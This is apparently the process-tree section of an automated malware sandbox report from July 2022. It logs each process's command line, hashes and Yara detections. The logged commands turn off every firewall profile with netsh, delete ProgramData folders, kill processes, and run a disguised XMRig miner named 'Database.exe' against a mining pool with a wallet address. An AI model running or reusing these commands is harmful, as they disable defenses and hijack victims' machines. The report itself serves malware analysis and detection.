                                                                                                                                                                                                      MD5 hash:EA777DEEA782E8B4D7C7C33BBF8A4496
                                                                                                                                                                                                      Has elevated privileges:true
                                                                                                                                                                                                      Has administrator privileges:true
                                                                                                                                                                                                      Programmed in:C, C++ or other language

                                                                                                                                                                                                      General

                                                                                                                                                                                                      Target ID:100
                                                                                                                                                                                                      Start time:17:02:39
                                                                                                                                                                                                      Start date:22/07/2022
                                                                                                                                                                                                      Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                      Wow64 process (32bit):false
                                                                                                                                                                                                      Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                      Imagebase:0x7ff7bab80000
                                                                                                                                                                                                      File size:625664 bytes
                                                                                                                                                                                                      MD5 hash:EA777DEEA782E8B4D7C7C33BBF8A4496
                                                                                                                                                                                                      Has elevated privileges:true
                                                                                                                                                                                                      Has administrator privileges:true
                                                                                                                                                                                                      Programmed in:C, C++ or other language

                                                                                                                                                                                                      General

                                                                                                                                                                                                      Target ID:101
                                                                                                                                                                                                      Start time:17:02:40
                                                                                                                                                                                                      Start date:22/07/2022
                                                                                                                                                                                                      Path:C:\Windows\System32\cmd.exe
                                                                                                                                                                                                      Wow64 process (32bit):false
                                                                                                                                                                                                      Commandline:"C:\Windows\System32\cmd.exe" /K taskkill /IM
                                                                                                                                                                                                      Imagebase:0x7ff6a6590000
                                                                                                                                                                                                      File size:273920 bytes
                                                                                                                                                                                                      MD5 hash:4E2ACF4F8A396486AB4268C94A6A245F
                                                                                                                                                                                                      Has elevated privileges:true
                                                                                                                                                                                                      Has administrator privileges:true
                                                                                                                                                                                                      Programmed in:C, C++ or other language

                                                                                                                                                                                                      General

                                                                                                                                                                                                      Target ID:102
                                                                                                                                                                                                      Start time:17:02:41
                                                                                                                                                                                                      Start date:22/07/2022
                                                                                                                                                                                                      Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                      Wow64 process (32bit):false
                                                                                                                                                                                                      Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                      Imagebase:0x7ff7bab80000
                                                                                                                                                                                                      File size:625664 bytes
                                                                                                                                                                                                      MD5 hash:EA777DEEA782E8B4D7C7C33BBF8A4496
                                                                                                                                                                                                      Has elevated privileges:true
                                                                                                                                                                                                      Has administrator privileges:true
                                                                                                                                                                                                      Programmed in:C, C++ or other language

                                                                                                                                                                                                      General

                                                                                                                                                                                                      Target ID:103
                                                                                                                                                                                                      Start time:17:02:41
                                                                                                                                                                                                      Start date:22/07/2022
                                                                                                                                                                                                      Path:C:\Windows\System32\cmd.exe
                                                                                                                                                                                                      Wow64 process (32bit):false
                                                                                                                                                                                                      Commandline:"C:\Windows\System32\cmd.exe" /K del /S /Q C:\ProgramData\Systemd\* && exit
                                                                                                                                                                                                      Imagebase:0x7ff6a6590000
                                                                                                                                                                                                      File size:273920 bytes
                                                                                                                                                                                                      MD5 hash:4E2ACF4F8A396486AB4268C94A6A245F
                                                                                                                                                                                                      Has elevated privileges:true
                                                                                                                                                                                                      Has administrator privileges:true
                                                                                                                                                                                                      Programmed in:C, C++ or other language

                                                                                                                                                                                                      General

                                                                                                                                                                                                      Target ID:104
                                                                                                                                                                                                      Start time:17:02:41
                                                                                                                                                                                                      Start date:22/07/2022
                                                                                                                                                                                                      Path:C:\Windows\System32\taskkill.exe
                                                                                                                                                                                                      Wow64 process (32bit):false
                                                                                                                                                                                                      Commandline:taskkill /IM
                                                                                                                                                                                                      Imagebase:0x7ff601a80000
                                                                                                                                                                                                      File size:94720 bytes
                                                                                                                                                                                                      MD5 hash:530C6A6CBA137EAA7021CEF9B234E8D4
                                                                                                                                                                                                      Has elevated privileges:true
                                                                                                                                                                                                      Has administrator privileges:true
                                                                                                                                                                                                      Programmed in:C, C++ or other language

                                                                                                                                                                                                      General

                                                                                                                                                                                                      Target ID:105
                                                                                                                                                                                                      Start time:17:02:42
                                                                                                                                                                                                      Start date:22/07/2022
                                                                                                                                                                                                      Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                      Wow64 process (32bit):false
                                                                                                                                                                                                      Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                      Imagebase:0x7ff7bab80000
                                                                                                                                                                                                      File size:625664 bytes
                                                                                                                                                                                                      MD5 hash:EA777DEEA782E8B4D7C7C33BBF8A4496
                                                                                                                                                                                                      Has elevated privileges:true
                                                                                                                                                                                                      Has administrator privileges:true
                                                                                                                                                                                                      Programmed in:C, C++ or other language

                                                                                                                                                                                                      General

                                                                                                                                                                                                      Target ID:106
                                                                                                                                                                                                      Start time:17:02:43
                                                                                                                                                                                                      Start date:22/07/2022
                                                                                                                                                                                                      Path:C:\Windows\System32\netsh.exe
                                                                                                                                                                                                      Wow64 process (32bit):false
                                                                                                                                                                                                      Commandline:"C:\Windows\system32\netsh.exe" advfirewall set allprofiles state off
                                                                                                                                                                                                      Imagebase:0x7ff782af0000
                                                                                                                                                                                                      File size:92672 bytes
                                                                                                                                                                                                      MD5 hash:98CC37BBF363A38834253E22C80A8F32
                                                                                                                                                                                                      Has elevated privileges:true
                                                                                                                                                                                                      Has administrator privileges:true
                                                                                                                                                                                                      Programmed in:C, C++ or other language

                                                                                                                                                                                                      General

                                                                                                                                                                                                      Target ID:107
                                                                                                                                                                                                      Start time:17:02:45
                                                                                                                                                                                                      Start date:22/07/2022
                                                                                                                                                                                                      Path:C:\ProgramData\UpSys.exe
                                                                                                                                                                                                      Wow64 process (32bit):false
                                                                                                                                                                                                      Commandline:"C:\ProgramData\UpSys.exe" /SW:0 powershell.exe
                                                                                                                                                                                                      Imagebase:0x140000000
                                                                                                                                                                                                      File size:945944 bytes
                                                                                                                                                                                                      MD5 hash:EFE5769E37BA37CF4607CB9918639932
                                                                                                                                                                                                      Has elevated privileges:true
                                                                                                                                                                                                      Has administrator privileges:true
                                                                                                                                                                                                      Programmed in:C, C++ or other language
                                                                                                                                                                                                      Yara matches:
                                                                                                                                                                                                      • Rule: MAL_Sednit_DelphiDownloader_Apr18_2, Description: Detects malware from Sednit Delphi Downloader report, Source: 0000006B.00000003.554270153.0000000003151000.00000004.00000020.00020000.00000000.sdmp, Author: Florian Roth

                                                                                                                                                                                                      General

                                                                                                                                                                                                      Target ID:108
                                                                                                                                                                                                      Start time:17:02:48
                                                                                                                                                                                                      Start date:22/07/2022
                                                                                                                                                                                                      Path:C:\Windows\System32\cmd.exe
                                                                                                                                                                                                      Wow64 process (32bit):false
                                                                                                                                                                                                      Commandline:"C:\Windows\System32\cmd.exe" /K taskkill /IM
                                                                                                                                                                                                      Imagebase:0x7ff6a6590000
                                                                                                                                                                                                      File size:273920 bytes
                                                                                                                                                                                                      MD5 hash:4E2ACF4F8A396486AB4268C94A6A245F
                                                                                                                                                                                                      Has elevated privileges:true
                                                                                                                                                                                                      Has administrator privileges:true
                                                                                                                                                                                                      Programmed in:C, C++ or other language

                                                                                                                                                                                                      General

                                                                                                                                                                                                      Target ID:109
                                                                                                                                                                                                      Start time:17:02:48
                                                                                                                                                                                                      Start date:22/07/2022
                                                                                                                                                                                                      Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                      Wow64 process (32bit):false
                                                                                                                                                                                                      Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                      Imagebase:0x7ff7bab80000
                                                                                                                                                                                                      File size:625664 bytes
                                                                                                                                                                                                      MD5 hash:EA777DEEA782E8B4D7C7C33BBF8A4496
                                                                                                                                                                                                      Has elevated privileges:true
                                                                                                                                                                                                      Has administrator privileges:true
                                                                                                                                                                                                      Programmed in:C, C++ or other language

                                                                                                                                                                                                      General

                                                                                                                                                                                                      Target ID:110
                                                                                                                                                                                                      Start time:17:02:50
                                                                                                                                                                                                      Start date:22/07/2022
                                                                                                                                                                                                      Path:C:\Windows\System32\cmd.exe
                                                                                                                                                                                                      Wow64 process (32bit):false
                                                                                                                                                                                                      Commandline:"C:\Windows\System32\cmd.exe" /K taskkill /IM Database.exe /F && exit
                                                                                                                                                                                                      Imagebase:0x7ff6a6590000
                                                                                                                                                                                                      File size:273920 bytes
                                                                                                                                                                                                      MD5 hash:4E2ACF4F8A396486AB4268C94A6A245F
                                                                                                                                                                                                      Has elevated privileges:true
                                                                                                                                                                                                      Has administrator privileges:true
                                                                                                                                                                                                      Programmed in:C, C++ or other language

                                                                                                                                                                                                      General

                                                                                                                                                                                                      Target ID:112
                                                                                                                                                                                                      Start time:17:02:53
                                                                                                                                                                                                      Start date:22/07/2022
                                                                                                                                                                                                      Path:C:\Windows\System32\taskkill.exe
                                                                                                                                                                                                      Wow64 process (32bit):false
                                                                                                                                                                                                      Commandline:taskkill /IM
                                                                                                                                                                                                      Imagebase:0x7ff601a80000
                                                                                                                                                                                                      File size:94720 bytes
                                                                                                                                                                                                      MD5 hash:530C6A6CBA137EAA7021CEF9B234E8D4
                                                                                                                                                                                                      Has elevated privileges:true
                                                                                                                                                                                                      Has administrator privileges:true
                                                                                                                                                                                                      Programmed in:C, C++ or other language

                                                                                                                                                                                                      General

                                                                                                                                                                                                      Target ID:113
                                                                                                                                                                                                      Start time:17:02:55
                                                                                                                                                                                                      Start date:22/07/2022
                                                                                                                                                                                                      Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                      Wow64 process (32bit):false
                                                                                                                                                                                                      Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                      Imagebase:0x7ff7bab80000
                                                                                                                                                                                                      File size:625664 bytes
                                                                                                                                                                                                      MD5 hash:EA777DEEA782E8B4D7C7C33BBF8A4496
                                                                                                                                                                                                      Has elevated privileges:true
                                                                                                                                                                                                      Has administrator privileges:true
                                                                                                                                                                                                      Programmed in:C, C++ or other language

                                                                                                                                                                                                      General

                                                                                                                                                                                                      Target ID:114
                                                                                                                                                                                                      Start time:17:02:55
                                                                                                                                                                                                      Start date:22/07/2022
                                                                                                                                                                                                      Path:C:\Windows\System32\cmd.exe
                                                                                                                                                                                                      Wow64 process (32bit):false
                                                                                                                                                                                                      Commandline:"C:\Windows\System32\cmd.exe" /K del /S /Q C:\ProgramData\Data\* && exit
                                                                                                                                                                                                      Imagebase:0x7ff6a6590000
                                                                                                                                                                                                      File size:273920 bytes
                                                                                                                                                                                                      MD5 hash:4E2ACF4F8A396486AB4268C94A6A245F
                                                                                                                                                                                                      Has elevated privileges:true
                                                                                                                                                                                                      Has administrator privileges:true
                                                                                                                                                                                                      Programmed in:C, C++ or other language

                                                                                                                                                                                                      General

                                                                                                                                                                                                      Target ID:116
                                                                                                                                                                                                      Start time:17:02:57
                                                                                                                                                                                                      Start date:22/07/2022
                                                                                                                                                                                                      Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                      Wow64 process (32bit):false
                                                                                                                                                                                                      Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                      Imagebase:0x7ff7bab80000
                                                                                                                                                                                                      File size:625664 bytes
                                                                                                                                                                                                      MD5 hash:EA777DEEA782E8B4D7C7C33BBF8A4496
                                                                                                                                                                                                      Has elevated privileges:true
                                                                                                                                                                                                      Has administrator privileges:true
                                                                                                                                                                                                      Programmed in:C, C++ or other language

                                                                                                                                                                                                      General

                                                                                                                                                                                                      Target ID:117
                                                                                                                                                                                                      Start time:17:02:57
                                                                                                                                                                                                      Start date:22/07/2022
                                                                                                                                                                                                      Path:C:\Windows\System32\taskkill.exe
                                                                                                                                                                                                      Wow64 process (32bit):false
                                                                                                                                                                                                      Commandline:taskkill /IM Database.exe /F
                                                                                                                                                                                                      Imagebase:0x7ff601a80000
                                                                                                                                                                                                      File size:94720 bytes
                                                                                                                                                                                                      MD5 hash:530C6A6CBA137EAA7021CEF9B234E8D4
                                                                                                                                                                                                      Has elevated privileges:true
                                                                                                                                                                                                      Has administrator privileges:true
                                                                                                                                                                                                      Programmed in:C, C++ or other language

                                                                                                                                                                                                      General

                                                                                                                                                                                                      Target ID:118
                                                                                                                                                                                                      Start time:17:02:58
                                                                                                                                                                                                      Start date:22/07/2022
                                                                                                                                                                                                      Path:C:\ProgramData\Systemd\Database.exe
                                                                                                                                                                                                      Wow64 process (32bit):false
                                                                                                                                                                                                      Commandline: --url pool.hashvault.pro:80 --user 47VtXKD1xoACvxX1aDMAmWGGESK5kD9EojKZwraNVYtE2HTwdrnhHxPbqy7MisCE3LHgYoJ6gGVL5GwiLxaxppNTV8zb92a --pass xxx
                                                                                                                                                                                                      Imagebase:0x7ff78ebd0000
                                                                                                                                                                                                      File size:8295936 bytes
                                                                                                                                                                                                      MD5 hash:EAB270D7108D82EE602CE25C64A5740F
                                                                                                                                                                                                      Has elevated privileges:true
                                                                                                                                                                                                      Has administrator privileges:true
                                                                                                                                                                                                      Programmed in:C, C++ or other language
                                                                                                                                                                                                      Yara matches:
                                                                                                                                                                                                      • Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, Source: 00000076.00000000.580719900.00007FF78F1DC000.00000002.00000001.01000000.0000000B.sdmp, Author: Florian Roth
                                                                                                                                                                                                      • Rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21, Description: Detects command line parameters often used by crypto mining software, Source: 00000076.00000000.580719900.00007FF78F1DC000.00000002.00000001.01000000.0000000B.sdmp, Author: Florian Roth
                                                                                                                                                                                                      • Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000076.00000000.580719900.00007FF78F1DC000.00000002.00000001.01000000.0000000B.sdmp, Author: Joe Security
                                                                                                                                                                                                      • Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, Source: 00000076.00000002.619409903.00007FF78F1DC000.00000002.00000001.01000000.0000000B.sdmp, Author: Florian Roth
                                                                                                                                                                                                      • Rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21, Description: Detects command line parameters often used by crypto mining software, Source: 00000076.00000002.619409903.00007FF78F1DC000.00000002.00000001.01000000.0000000B.sdmp, Author: Florian Roth
                                                                                                                                                                                                      • Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000076.00000002.619409903.00007FF78F1DC000.00000002.00000001.01000000.0000000B.sdmp, Author: Joe Security
                                                                                                                                                                                                      • Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000076.00000002.623158338.00007FF78F6D5000.00000008.00000001.01000000.0000000B.sdmp, Author: Joe Security
                                                                                                                                                                                                      • Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000076.00000000.598210860.00007FF78F6D5000.00000008.00000001.01000000.0000000B.sdmp, Author: Joe Security

                                                                                                                                                                                                      General

                                                                                                                                                                                                      Target ID:119
                                                                                                                                                                                                      Start time:17:02:58
                                                                                                                                                                                                      Start date:22/07/2022
                                                                                                                                                                                                      Path:C:\Windows\System32\cmd.exe
                                                                                                                                                                                                      Wow64 process (32bit):false
                                                                                                                                                                                                      Commandline:"C:\Windows\System32\cmd.exe" /K del /S /Q C:\ProgramData\Systemd\* && exit
                                                                                                                                                                                                      Imagebase:0x7ff6a6590000
                                                                                                                                                                                                      File size:273920 bytes
                                                                                                                                                                                                      MD5 hash:4E2ACF4F8A396486AB4268C94A6A245F
                                                                                                                                                                                                      Has elevated privileges:true
                                                                                                                                                                                                      Has administrator privileges:true
                                                                                                                                                                                                      Programmed in:C, C++ or other language

                                                                                                                                                                                                      General

                                                                                                                                                                                                      Target ID:120
                                                                                                                                                                                                      Start time:17:02:59
                                                                                                                                                                                                      Start date:22/07/2022
                                                                                                                                                                                                      Path:C:\ProgramData\Systemd\Database.exe
                                                                                                                                                                                                      Wow64 process (32bit):false
                                                                                                                                                                                                      Commandline: --url pool.hashvault.pro:80 --user 47VtXKD1xoACvxX1aDMAmWGGESK5kD9EojKZwraNVYtE2HTwdrnhHxPbqy7MisCE3LHgYoJ6gGVL5GwiLxaxppNTV8zb92a --pass xxx
                                                                                                                                                                                                      Imagebase:0x7ff78ebd0000
                                                                                                                                                                                                      File size:8295936 bytes
                                                                                                                                                                                                      MD5 hash:EAB270D7108D82EE602CE25C64A5740F
                                                                                                                                                                                                      Has elevated privileges:true
                                                                                                                                                                                                      Has administrator privileges:true
                                                                                                                                                                                                      Programmed in:C, C++ or other language
                                                                                                                                                                                                      Yara matches:
                                                                                                                                                                                                      • Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000078.00000002.623425970.00007FF78F6D5000.00000008.00000001.01000000.0000000B.sdmp, Author: Joe Security
                                                                                                                                                                                                      • Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, Source: 00000078.00000002.619535717.00007FF78F1DC000.00000002.00000001.01000000.0000000B.sdmp, Author: Florian Roth
                                                                                                                                                                                                      • Rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21, Description: Detects command line parameters often used by crypto mining software, Source: 00000078.00000002.619535717.00007FF78F1DC000.00000002.00000001.01000000.0000000B.sdmp, Author: Florian Roth
                                                                                                                                                                                                      • Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000078.00000002.619535717.00007FF78F1DC000.00000002.00000001.01000000.0000000B.sdmp, Author: Joe Security
                                                                                                                                                                                                      • Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000078.00000000.600804967.00007FF78F6D5000.00000008.00000001.01000000.0000000B.sdmp, Author: Joe Security
                                                                                                                                                                                                      • Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, Source: 00000078.00000000.588642508.00007FF78F1DC000.00000002.00000001.01000000.0000000B.sdmp, Author: Florian Roth
                                                                                                                                                                                                      • Rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21, Description: Detects command line parameters often used by crypto mining software, Source: 00000078.00000000.588642508.00007FF78F1DC000.00000002.00000001.01000000.0000000B.sdmp, Author: Florian Roth
                                                                                                                                                                                                      • Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000078.00000000.588642508.00007FF78F1DC000.00000002.00000001.01000000.0000000B.sdmp, Author: Joe Security

                                                                                                                                                                                                      General

                                                                                                                                                                                                      Target ID:121
                                                                                                                                                                                                      Start time:17:02:59
                                                                                                                                                                                                      Start date:22/07/2022
                                                                                                                                                                                                      Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                      Wow64 process (32bit):false
                                                                                                                                                                                                      Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                      Imagebase:0x7ff7bab80000
                                                                                                                                                                                                      File size:625664 bytes
                                                                                                                                                                                                      MD5 hash:EA777DEEA782E8B4D7C7C33BBF8A4496
                                                                                                                                                                                                      Has elevated privileges:true
                                                                                                                                                                                                      Has administrator privileges:true
                                                                                                                                                                                                      Programmed in:C, C++ or other language

                                                                                                                                                                                                      General

                                                                                                                                                                                                      Target ID:122
                                                                                                                                                                                                      Start time:17:03:01
                                                                                                                                                                                                      Start date:22/07/2022
                                                                                                                                                                                                      Path:C:\Windows\System32\cmd.exe
                                                                                                                                                                                                      Wow64 process (32bit):false
                                                                                                                                                                                                      Commandline:"C:\Windows\System32\cmd.exe" /K taskkill /IM Database.exe /F && exit
                                                                                                                                                                                                      Imagebase:0x7ff6a6590000
                                                                                                                                                                                                      File size:273920 bytes
                                                                                                                                                                                                      MD5 hash:4E2ACF4F8A396486AB4268C94A6A245F
                                                                                                                                                                                                      Has elevated privileges:true
                                                                                                                                                                                                      Has administrator privileges:true
                                                                                                                                                                                                      Programmed in:C, C++ or other language

                                                                                                                                                                                                      General

                                                                                                                                                                                                      Target ID:123
                                                                                                                                                                                                      Start time:17:03:01
                                                                                                                                                                                                      Start date:22/07/2022
                                                                                                                                                                                                      Path:C:\Windows\System32\cmd.exe
                                                                                                                                                                                                      Wow64 process (32bit):false
                                                                                                                                                                                                      Commandline:"C:\Windows\System32\cmd.exe" /K taskkill /IM
                                                                                                                                                                                                      Imagebase:0x7ff6a6590000
                                                                                                                                                                                                      File size:273920 bytes
                                                                                                                                                                                                      MD5 hash:4E2ACF4F8A396486AB4268C94A6A245F
                                                                                                                                                                                                      Has elevated privileges:true
                                                                                                                                                                                                      Has administrator privileges:true
                                                                                                                                                                                                      Programmed in:C, C++ or other language

                                                                                                                                                                                                      General

                                                                                                                                                                                                      Target ID:124
                                                                                                                                                                                                      Start time:17:03:02
                                                                                                                                                                                                      Start date:22/07/2022
                                                                                                                                                                                                      Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                      Wow64 process (32bit):false
                                                                                                                                                                                                      Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                      Imagebase:0x7ff7bab80000
                                                                                                                                                                                                      File size:625664 bytes
                                                                                                                                                                                                      MD5 hash:EA777DEEA782E8B4D7C7C33BBF8A4496
                                                                                                                                                                                                      Has elevated privileges:true
                                                                                                                                                                                                      Has administrator privileges:true
                                                                                                                                                                                                      Programmed in:C, C++ or other language

                                                                                                                                                                                                      General

                                                                                                                                                                                                      Target ID:125
                                                                                                                                                                                                      Start time:17:03:02
                                                                                                                                                                                                      Start date:22/07/2022
                                                                                                                                                                                                      Path:C:\Windows\System32\cmd.exe
                                                                                                                                                                                                      Wow64 process (32bit):false
                                                                                                                                                                                                      Commandline:"C:\Windows\System32\cmd.exe" /K del /S /Q C:\ProgramData\Systemd\* && exit
                                                                                                                                                                                                      Imagebase:0x7ff6a6590000
                                                                                                                                                                                                      File size:273920 bytes
                                                                                                                                                                                                      MD5 hash:4E2ACF4F8A396486AB4268C94A6A245F
                                                                                                                                                                                                      Has elevated privileges:true
                                                                                                                                                                                                      Has administrator privileges:true
                                                                                                                                                                                                      Programmed in:C, C++ or other language

                                                                                                                                                                                                      General

                                                                                                                                                                                                      Target ID:127
                                                                                                                                                                                                      Start time:17:03:02
                                                                                                                                                                                                      Start date:22/07/2022
                                                                                                                                                                                                      Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                      Wow64 process (32bit):false
                                                                                                                                                                                                      Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                      Imagebase:0x7ff7bab80000
                                                                                                                                                                                                      File size:625664 bytes
                                                                                                                                                                                                      MD5 hash:EA777DEEA782E8B4D7C7C33BBF8A4496
                                                                                                                                                                                                      Has elevated privileges:true
                                                                                                                                                                                                      Has administrator privileges:true
                                                                                                                                                                                                      Programmed in:C, C++ or other language

                                                                                                                                                                                                      General

                                                                                                                                                                                                      Target ID:129
                                                                                                                                                                                                      Start time:17:03:03
                                                                                                                                                                                                      Start date:22/07/2022
                                                                                                                                                                                                      Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                      Wow64 process (32bit):false
                                                                                                                                                                                                      Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                      Imagebase:0x7ff7bab80000
                                                                                                                                                                                                      File size:625664 bytes
                                                                                                                                                                                                      MD5 hash:EA777DEEA782E8B4D7C7C33BBF8A4496
                                                                                                                                                                                                      Has elevated privileges:true
                                                                                                                                                                                                      Has administrator privileges:true
                                                                                                                                                                                                      Programmed in:C, C++ or other language

                                                                                                                                                                                                      General

                                                                                                                                                                                                      Target ID:130
                                                                                                                                                                                                      Start time:17:03:03
                                                                                                                                                                                                      Start date:22/07/2022
                                                                                                                                                                                                      Path:C:\Windows\System32\cmd.exe
                                                                                                                                                                                                      Wow64 process (32bit):false
                                                                                                                                                                                                      Commandline:"C:\Windows\System32\cmd.exe" /K taskkill /IM
                                                                                                                                                                                                      Imagebase:0x7ff6a6590000
                                                                                                                                                                                                      File size:273920 bytes
                                                                                                                                                                                                      MD5 hash:4E2ACF4F8A396486AB4268C94A6A245F
                                                                                                                                                                                                      Has elevated privileges:true
                                                                                                                                                                                                      Has administrator privileges:true
                                                                                                                                                                                                      Programmed in:C, C++ or other language

                                                                                                                                                                                                      General

                                                                                                                                                                                                      Target ID:131
                                                                                                                                                                                                      Start time:17:03:04
                                                                                                                                                                                                      Start date:22/07/2022
                                                                                                                                                                                                      Path:C:\Windows\System32\taskkill.exe
                                                                                                                                                                                                      Wow64 process (32bit):false
                                                                                                                                                                                                      Commandline:taskkill /IM Database.exe /F
                                                                                                                                                                                                      Imagebase:0x7ff601a80000
                                                                                                                                                                                                      File size:94720 bytes
                                                                                                                                                                                                      MD5 hash:530C6A6CBA137EAA7021CEF9B234E8D4
                                                                                                                                                                                                      Has elevated privileges:true
                                                                                                                                                                                                      Has administrator privileges:true
                                                                                                                                                                                                      Programmed in:C, C++ or other language

                                                                                                                                                                                                      General

                                                                                                                                                                                                      Target ID:132
                                                                                                                                                                                                      Start time:17:03:04
                                                                                                                                                                                                      Start date:22/07/2022
                                                                                                                                                                                                      Path:C:\Windows\System32\taskkill.exe
                                                                                                                                                                                                      Wow64 process (32bit):false
                                                                                                                                                                                                      Commandline:taskkill /IM
                                                                                                                                                                                                      Imagebase:0x7ff601a80000
                                                                                                                                                                                                      File size:94720 bytes
                                                                                                                                                                                                      MD5 hash:530C6A6CBA137EAA7021CEF9B234E8D4
                                                                                                                                                                                                      Has elevated privileges:true
                                                                                                                                                                                                      Has administrator privileges:true
                                                                                                                                                                                                      Programmed in:C, C++ or other language

                                                                                                                                                                                                      General

                                                                                                                                                                                                      Target ID:133
                                                                                                                                                                                                      Start time:17:03:05
                                                                                                                                                                                                      Start date:22/07/2022
                                                                                                                                                                                                      Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                      Wow64 process (32bit):false
                                                                                                                                                                                                      Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                      Imagebase:0x7ff7bab80000
                                                                                                                                                                                                      File size:625664 bytes
                                                                                                                                                                                                      MD5 hash:EA777DEEA782E8B4D7C7C33BBF8A4496
                                                                                                                                                                                                      Has elevated privileges:true
                                                                                                                                                                                                      Has administrator privileges:true
                                                                                                                                                                                                      Programmed in:C, C++ or other language

                                                                                                                                                                                                      General

                                                                                                                                                                                                      Target ID:134
                                                                                                                                                                                                      Start time:17:03:05
                                                                                                                                                                                                      Start date:22/07/2022
                                                                                                                                                                                                      Path:C:\Windows\System32\cmd.exe
                                                                                                                                                                                                      Wow64 process (32bit):false
                                                                                                                                                                                                      Commandline:"C:\Windows\System32\cmd.exe" /K del /S /Q C:\ProgramData\Data\* && exit
                                                                                                                                                                                                      Imagebase:0x7ff6a6590000
                                                                                                                                                                                                      File size:273920 bytes
                                                                                                                                                                                                      MD5 hash:4E2ACF4F8A396486AB4268C94A6A245F
                                                                                                                                                                                                      Has elevated privileges:true
                                                                                                                                                                                                      Has administrator privileges:true
                                                                                                                                                                                                      Programmed in:C, C++ or other language

                                                                                                                                                                                                      General

                                                                                                                                                                                                      Target ID:135
                                                                                                                                                                                                      Start time:17:03:07
                                                                                                                                                                                                      Start date:22/07/2022
                                                                                                                                                                                                      Path:C:\Windows\System32\cmd.exe
                                                                                                                                                                                                      Wow64 process (32bit):false
                                                                                                                                                                                                      Commandline:"C:\Windows\System32\cmd.exe" /K del /S /Q C:\ProgramData\Systemd\* && exit
                                                                                                                                                                                                      Imagebase:0x7ff6a6590000
                                                                                                                                                                                                      File size:273920 bytes
                                                                                                                                                                                                      MD5 hash:4E2ACF4F8A396486AB4268C94A6A245F
                                                                                                                                                                                                      Has elevated privileges:true
                                                                                                                                                                                                      Has administrator privileges:true
                                                                                                                                                                                                      Programmed in:C, C++ or other language

                                                                                                                                                                                                      General

                                                                                                                                                                                                      Target ID:136
                                                                                                                                                                                                      Start time:17:03:07
                                                                                                                                                                                                      Start date:22/07/2022
                                                                                                                                                                                                      Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                      Wow64 process (32bit):false
                                                                                                                                                                                                      Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                      Imagebase:0x7ff7bab80000
                                                                                                                                                                                                      File size:625664 bytes
                                                                                                                                                                                                      MD5 hash:EA777DEEA782E8B4D7C7C33BBF8A4496
                                                                                                                                                                                                      Has elevated privileges:true
                                                                                                                                                                                                      Has administrator privileges:true
                                                                                                                                                                                                      Programmed in:C, C++ or other language

                                                                                                                                                                                                      General

                                                                                                                                                                                                      Target ID:137
                                                                                                                                                                                                      Start time:17:03:07
                                                                                                                                                                                                      Start date:22/07/2022
                                                                                                                                                                                                      Path:C:\Windows\System32\taskkill.exe
                                                                                                                                                                                                      Wow64 process (32bit):false
                                                                                                                                                                                                      Commandline:taskkill /IM
                                                                                                                                                                                                      Imagebase:0x7ff601a80000
                                                                                                                                                                                                      File size:94720 bytes
                                                                                                                                                                                                      MD5 hash:530C6A6CBA137EAA7021CEF9B234E8D4
                                                                                                                                                                                                      Has elevated privileges:true
                                                                                                                                                                                                      Has administrator privileges:true
                                                                                                                                                                                                      Programmed in:C, C++ or other language

                                                                                                                                                                                                      General

                                                                                                                                                                                                      Target ID:138
                                                                                                                                                                                                      Start time:17:03:08
                                                                                                                                                                                                      Start date:22/07/2022
                                                                                                                                                                                                      Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                      Wow64 process (32bit):false
                                                                                                                                                                                                      Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                      Imagebase:0x7ff7bab80000
                                                                                                                                                                                                      File size:625664 bytes
                                                                                                                                                                                                      MD5 hash:EA777DEEA782E8B4D7C7C33BBF8A4496
                                                                                                                                                                                                      Has elevated privileges:true
                                                                                                                                                                                                      Has administrator privileges:true
                                                                                                                                                                                                      Programmed in:C, C++ or other language

                                                                                                                                                                                                      General

